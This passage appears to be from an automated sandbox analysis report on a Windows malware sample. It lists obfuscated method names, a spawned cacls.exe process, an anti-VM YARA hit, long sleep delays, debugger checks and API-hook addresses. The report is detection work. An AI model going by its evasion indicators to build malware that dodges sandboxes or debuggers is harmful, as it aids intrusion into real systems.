Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, wTAUENZUfUP4v48bva.cs	High entropy of concatenated method names: 'tPipK1UHuF', 'jEApyowV6f', 'HoRptBOvJG', 'bPTpIZJqHJ', 'OUDpTs2WhO', 'UAApih4ILt', 'rLBgFdA7ii0MwEuuWK', 'KZFeM7OOGbOxlSTUOg', 'vyBppHxu0x', 'U30pDVigih'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, tUhnM5J6K852o5er6r.cs	High entropy of concatenated method names: 'puVugE6AQD', 'MlKuwYIh6R', 'Pnpuv3cA0f', 'LBCuKQZybM', 'jLiu0q50fK', 'FUeuyNt9p9', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, vFb8xHkrHYDNoISV3t.cs	High entropy of concatenated method names: 'bIldtOPH1M', 'JiIdIyjneq', 'ToString', 'OhxdsmS1Dd', 'e4ndlTmQQF', 'ppWdgiBmIM', 'ML4dw16nkF', 'igvdvlG0jO', 'BeadKbHoDR', 'ldWdyeS1FC'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, JFCDpQUrjrpJFKU5TZ.cs	High entropy of concatenated method names: 'dNGbONLfkN', 'hchbxNKtaQ', 'rhwbA11Uen', 'BwobLqOC7o', 'Cy8bNcLFQ4', 'm6hbrmM875', 'shlbBGvCYD', 'zWvb140qse', 'BFwbfatYw2', 'h9YboMmHc2'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, ERrfaTpmxoiGX67imZQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'bhquoQub9Z', 'Uh9uPM3l88', 'BEtuU4BVo9', 'UCKue1sONM', 'cMsuqhCCSt', 'LgFuMEbAWl', 'PBNukoNl8c'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, lCc2KjBBNmjGuWgBhd.cs	High entropy of concatenated method names: 'NsUKsagGnB', 'nQXKgfEJT5', 'ewvKvxkdIJ', 'p03vJ68mIu', 'ThWvz5Ro13', 'F9nKmeH7yy', 'gWvKpCcCnk', 'n6OK4VfPhL', 'aB8KDny5uZ', 'l12KZIBWhQ'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, SwgKjolByEPP4ImUbS.cs	High entropy of concatenated method names: 'Dispose', 'AgaphJUg5b', 'a1O4LWYG9h', 'Y068wk23dW', 'YoapJeLCDJ', 'qrEpzN7veh', 'ProcessDialogKey', 'VY94mK39ih', 'KgY4plouC5', 'ODc44XUhnM'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.43e6d48.1.raw.unpack, XsiiDNMrZi3cTVBIIK.cs	High entropy of concatenated method names: 'ToString', 'MmIio29Cmk', 'DvAiLSLnjd', 'F9wijHZhP2', 'x1niN1DJrG', 'g4mirpRdv4', 'UkGiaLR1uG', 'NHwiBrB389', 'QJZi1bx9iI', 'uNCi7DT47k'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, CaGHojxoRBOvJGpPTZ.cs	High entropy of concatenated method names: 'tYjg5xZfrq', 'KSpg9Ntl9n', 'UICgOQVRFo', 'v4bgxTNLJ6', 'n20gTLkxtx', 'd0sgiQmg71', 'xxHgdg6WlF', 'c1egEddTkg', 'v4dg04tXgB', 'i6ygus1OaI'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, PYwgDUyCfG3xhOjec2.cs	High entropy of concatenated method names: 'AX8DY92AAd', 'EIrDsBKpyI', 'f2aDl53gAg', 'KOVDg8TgPO', 'hHKDwDC8qD', 'bh4DvvK56D', 'R54DKbNvDF', 'RHcDyIFDVW', 'IH0DQTcqKs', 'XrUDtPVZlg'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, eClGVZ7L4wNYqRUcnf.cs	High entropy of concatenated method names: 'knfKnDwGlf', 'AMVKGOvX6q', 'F2DK2IMvu1', 'PLEK5NCCI2', 'zJ3K6ERIiU', 'r3GK9Ro3L7', 'VcoKC5nwLk', 'WVbKOEKdqF', 'wSmKxOqDV9', 'zB8K3Qs22y'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, Uh1IXUppBwx1OBD0l94.cs	High entropy of concatenated method names: 'g6TuJi0KWH', 'eujuzLdHyk', 'kp8XmcuL6h', 'bGUXprSnic', 'iRoX4yIVrb', 'RBWXDOja8V', 'scxXZUq9Z8', 'p3cXYcNZOE', 'eajXsydMwF', 'B0TXlXkFQm'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, I7RVpHz4FqwflZN0id.cs	High entropy of concatenated method names: 'qsju9f7IGP', 'ImMuOgMqk5', 'viyuxqned5', 'oWHuASD25r', 'pPAuLBRPjd', 'rQSuNZwvdI', 'cccurf5uyT', 'fiLuRJyGKa', 'wXnunXASvC', 'cJ9uGLIqkr'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, MMSIjoLGZ6B7Yqaa3l.cs	High entropy of concatenated method names: 'eqK01v1lltW7I1KJsbB', 'SL15IB17TTKdUWapAhf', 'A2tvE6l4SW', 'GM2v0iCeZD', 'GYjvucR3xn', 'EisOrg1JePn9dehqTF7', 'n0fbcI1Lk339Qb3VwpL'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, CK39ihhagYlouC5fDc.cs	High entropy of concatenated method names: 'R9h0AEVq9b', 'yCC0L076pU', 'E9O0j3NHq3', 'OnN0N8N4S1', 'ATi0rltiiu', 'YAS0a68TUU', 'SUw0BKqfqp', 'kbZ01PyK1O', 'UER0733u82', 'NRq0f23lCN'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, WMNDnseZvMvATctFLM.cs	High entropy of concatenated method names: 'KLfTfQMnBL', 'BBiTPPPSlU', 'dTATeSmmjq', 'NtoTqXmppI', 't9nTLOIM2Z', 'QXTTjpMcfV', 'Tn4TNpq2eR', 'wKLTr3fnG4', 'FE2TauCeD0', 'p8MTBDcYG7'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, vU4WQCHpZAo8PF99B8.cs	High entropy of concatenated method names: 'XTLdVajjqu', 'iRIdJhNcAl', 't3PEmiFn72', 'A58EphxV9x', 'Ln5dohj8jX', 'FbjdPCAa8r', 'LiudUrnpAj', 'P6adev3Uha', 'LnbdqMNfBC', 'GQxdMF3cGa'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, YqHJWJ3lonHrloUDs2.cs	High entropy of concatenated method names: 'Oy5w6F7jp8', 'bCOwCmBy87', 'sbigjf6NRd', 'jWFgNC0306', 'eCBgrLBxy8', 'a2sgaRQT3o', 'P1BgBvJjMB', 'zYdg19OhOx', 'ssng79eeD1', 'Whfgf9MvNe'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, GqLsw9gDNXXdmvcnIN.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'LGo4hCBtRN', 'weL4JNZWAq', 'GO54zmkkGe', 'EBWDmJ53Dc', 'QC8Dp7Gc1l', 'vUiD48GXL4', 'V9qDDXYiBf', 'pXQUT1P0dJp8ReLLhvq'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, whOcAAAh4ILtw3qpVG.cs	High entropy of concatenated method names: 'rhjvYE0qD2', 'gY1vlcksiw', 'wbXvwoaiEP', 'GGgvK5Oiis', 'jJxvybinL0', 'QNUwccX5cO', 'zI5wHcBpbs', 'wlhwSZgUxB', 'I2hwV1vVov', 'YKLwhJ0boq'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, QGTy144A47QOmD2Xe0.cs	High entropy of concatenated method names: 'NCk2ZjyD7', 'pr15R7xMm', 'MlN9dC7J7', 'b9wCDPFMm', 'nHDxYweMd', 'vIL3GQ6cy', 'BqAJ7Th95xerFyVi38', 'Bs5HJpsGtaZ0hdfgLP', 'lO3EWbRpr', 'zIduSKCWV'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, p1UHuFOvEAowV6fk4b.cs	High entropy of concatenated method names: 'Q8elekcO0G', 'kCAlqheTfk', 'odUlM5AVnF', 'n9HlkE8Oql', 'ptOlccIdXI', 'WgclHZQG6x', 'lDVlSYbrPU', 'sonlVoeCCx', 'wNClh8Jm6Q', 'bNSlJlN7ov'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, z8K2SvSpx5gaJUg5bJ.cs	High entropy of concatenated method names: 'qJN0T5oBtr', 'N5E0ds8So8', 'pqN00wTDLD', 'xOB0XDjKlc', 'yhh08ARPch', 'z7U0ReqUJW', 'Dispose', 'PNREsjMC2f', 'ctyEl4YfnC', 'KogEggIUH3'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, wTAUENZUfUP4v48bva.cs	High entropy of concatenated method names: 'tPipK1UHuF', 'jEApyowV6f', 'HoRptBOvJG', 'bPTpIZJqHJ', 'OUDpTs2WhO', 'UAApih4ILt', 'rLBgFdA7ii0MwEuuWK', 'KZFeM7OOGbOxlSTUOg', 'vyBppHxu0x', 'U30pDVigih'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, tUhnM5J6K852o5er6r.cs	High entropy of concatenated method names: 'puVugE6AQD', 'MlKuwYIh6R', 'Pnpuv3cA0f', 'LBCuKQZybM', 'jLiu0q50fK', 'FUeuyNt9p9', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, vFb8xHkrHYDNoISV3t.cs	High entropy of concatenated method names: 'bIldtOPH1M', 'JiIdIyjneq', 'ToString', 'OhxdsmS1Dd', 'e4ndlTmQQF', 'ppWdgiBmIM', 'ML4dw16nkF', 'igvdvlG0jO', 'BeadKbHoDR', 'ldWdyeS1FC'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, JFCDpQUrjrpJFKU5TZ.cs	High entropy of concatenated method names: 'dNGbONLfkN', 'hchbxNKtaQ', 'rhwbA11Uen', 'BwobLqOC7o', 'Cy8bNcLFQ4', 'm6hbrmM875', 'shlbBGvCYD', 'zWvb140qse', 'BFwbfatYw2', 'h9YboMmHc2'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, ERrfaTpmxoiGX67imZQ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'bhquoQub9Z', 'Uh9uPM3l88', 'BEtuU4BVo9', 'UCKue1sONM', 'cMsuqhCCSt', 'LgFuMEbAWl', 'PBNukoNl8c'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, lCc2KjBBNmjGuWgBhd.cs	High entropy of concatenated method names: 'NsUKsagGnB', 'nQXKgfEJT5', 'ewvKvxkdIJ', 'p03vJ68mIu', 'ThWvz5Ro13', 'F9nKmeH7yy', 'gWvKpCcCnk', 'n6OK4VfPhL', 'aB8KDny5uZ', 'l12KZIBWhQ'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, SwgKjolByEPP4ImUbS.cs	High entropy of concatenated method names: 'Dispose', 'AgaphJUg5b', 'a1O4LWYG9h', 'Y068wk23dW', 'YoapJeLCDJ', 'qrEpzN7veh', 'ProcessDialogKey', 'VY94mK39ih', 'KgY4plouC5', 'ODc44XUhnM'
Source: 0.2.Pp7OXMFwqhXKx5Y.exe.78b0000.4.raw.unpack, XsiiDNMrZi3cTVBIIK.cs	High entropy of concatenated method names: 'ToString', 'MmIio29Cmk', 'DvAiLSLnjd', 'F9wijHZhP2', 'x1niN1DJrG', 'g4mirpRdv4', 'UkGiaLR1uG', 'NHwiBrB389', 'QJZi1bx9iI', 'uNCi7DT47k'

Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Process created: C:\Windows\SysWOW64\cacls.exe "C:\Windows\SysWOW64\cacls.exe"

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: Pp7OXMFwqhXKx5Y.exe PID: 5384, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	API/Special instruction interceptor: Address: 7FFAE146D144
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	API/Special instruction interceptor: Address: 7FFAE1470594
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	API/Special instruction interceptor: Address: 7FFAE146FF74
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	API/Special instruction interceptor: Address: 7FFAE146D6C4
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	API/Special instruction interceptor: Address: 7FFAE146D864
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	API/Special instruction interceptor: Address: 7FFAE146D004
Source: C:\Windows\SysWOW64\cacls.exe	API/Special instruction interceptor: Address: 7FFAE146D144
Source: C:\Windows\SysWOW64\cacls.exe	API/Special instruction interceptor: Address: 7FFAE1470594
Source: C:\Windows\SysWOW64\cacls.exe	API/Special instruction interceptor: Address: 7FFAE146D764
Source: C:\Windows\SysWOW64\cacls.exe	API/Special instruction interceptor: Address: 7FFAE146D324
Source: C:\Windows\SysWOW64\cacls.exe	API/Special instruction interceptor: Address: 7FFAE146D364
Source: C:\Windows\SysWOW64\cacls.exe	API/Special instruction interceptor: Address: 7FFAE146D004
Source: C:\Windows\SysWOW64\cacls.exe	API/Special instruction interceptor: Address: 7FFAE146FF74
Source: C:\Windows\SysWOW64\cacls.exe	API/Special instruction interceptor: Address: 7FFAE146D6C4
Source: C:\Windows\SysWOW64\cacls.exe	API/Special instruction interceptor: Address: 7FFAE146D864
Source: C:\Windows\SysWOW64\cacls.exe	API/Special instruction interceptor: Address: 7FFAE146D604

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Memory allocated: 1930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Memory allocated: 3310000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Memory allocated: 3110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Memory allocated: 7AA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Memory allocated: 8AA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Memory allocated: 8C30000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Memory allocated: 9C30000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

Code function: 2_2_014E1763 rdtsc

2_2_014E1763

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\cacls.exe

Window / User API: threadDelayed 9081

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	API coverage: 0.9 %
Source: C:\Windows\SysWOW64\cacls.exe	API coverage: 1.3 %

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe TID: 4452	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe TID: 2132	Thread sleep count: 121 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe TID: 2132	Thread sleep time: -242000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe TID: 2132	Thread sleep count: 9081 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe TID: 2132	Thread sleep time: -18162000s >= -30000s	Jump to behavior

Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cacls.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\cacls.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

Thread delayed: delay time: 922337203685477

Source: firefox.exe, 00000005.00000002.179521144385.00000265A3AF7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll__MP
Source: RAVCpl64.exe, 00000003.00000002.183784710075.00000000004CF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: cacls.exe, 00000004.00000002.182789173794.0000000003130000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\cacls.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

Code function: 2_2_014E1763 rdtsc

2_2_014E1763

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe

Code function: 2_2_00417823 LdrLoadDll,

2_2_00417823

Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01573157 mov eax, dword ptr fs:[00000030h]	2_2_01573157
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01573157 mov eax, dword ptr fs:[00000030h]	2_2_01573157
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01573157 mov eax, dword ptr fs:[00000030h]	2_2_01573157
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149A147 mov eax, dword ptr fs:[00000030h]	2_2_0149A147
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149A147 mov eax, dword ptr fs:[00000030h]	2_2_0149A147
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149A147 mov eax, dword ptr fs:[00000030h]	2_2_0149A147
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D415F mov eax, dword ptr fs:[00000030h]	2_2_014D415F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0153314A mov eax, dword ptr fs:[00000030h]	2_2_0153314A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0153314A mov eax, dword ptr fs:[00000030h]	2_2_0153314A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0153314A mov eax, dword ptr fs:[00000030h]	2_2_0153314A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0153314A mov eax, dword ptr fs:[00000030h]	2_2_0153314A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_01575149 mov eax, dword ptr fs:[00000030h]	2_2_01575149
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D716D mov eax, dword ptr fs:[00000030h]	2_2_014D716D
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A6179 mov eax, dword ptr fs:[00000030h]	2_2_014A6179
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014F717A mov eax, dword ptr fs:[00000030h]	2_2_014F717A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014F717A mov eax, dword ptr fs:[00000030h]	2_2_014F717A
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C510F mov eax, dword ptr fs:[00000030h]	2_2_014C510F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C510F mov eax, dword ptr fs:[00000030h]	2_2_014C510F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C510F mov eax, dword ptr fs:[00000030h]	2_2_014C510F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C510F mov eax, dword ptr fs:[00000030h]	2_2_014C510F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C510F mov eax, dword ptr fs:[00000030h]	2_2_014C510F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C510F mov eax, dword ptr fs:[00000030h]	2_2_014C510F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C510F mov eax, dword ptr fs:[00000030h]	2_2_014C510F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C510F mov eax, dword ptr fs:[00000030h]	2_2_014C510F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C510F mov eax, dword ptr fs:[00000030h]	2_2_014C510F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C510F mov eax, dword ptr fs:[00000030h]	2_2_014C510F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C510F mov eax, dword ptr fs:[00000030h]	2_2_014C510F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C510F mov eax, dword ptr fs:[00000030h]	2_2_014C510F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014C510F mov eax, dword ptr fs:[00000030h]	2_2_014C510F
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014A510D mov eax, dword ptr fs:[00000030h]	2_2_014A510D
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_014D0118 mov eax, dword ptr fs:[00000030h]	2_2_014D0118
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
Source: C:\Users\user\Desktop\Pp7OXMFwqhXKx5Y.exe	Code function: 2_2_0149F113 mov eax, dword ptr fs:[00000030h]	2_2_0149F113
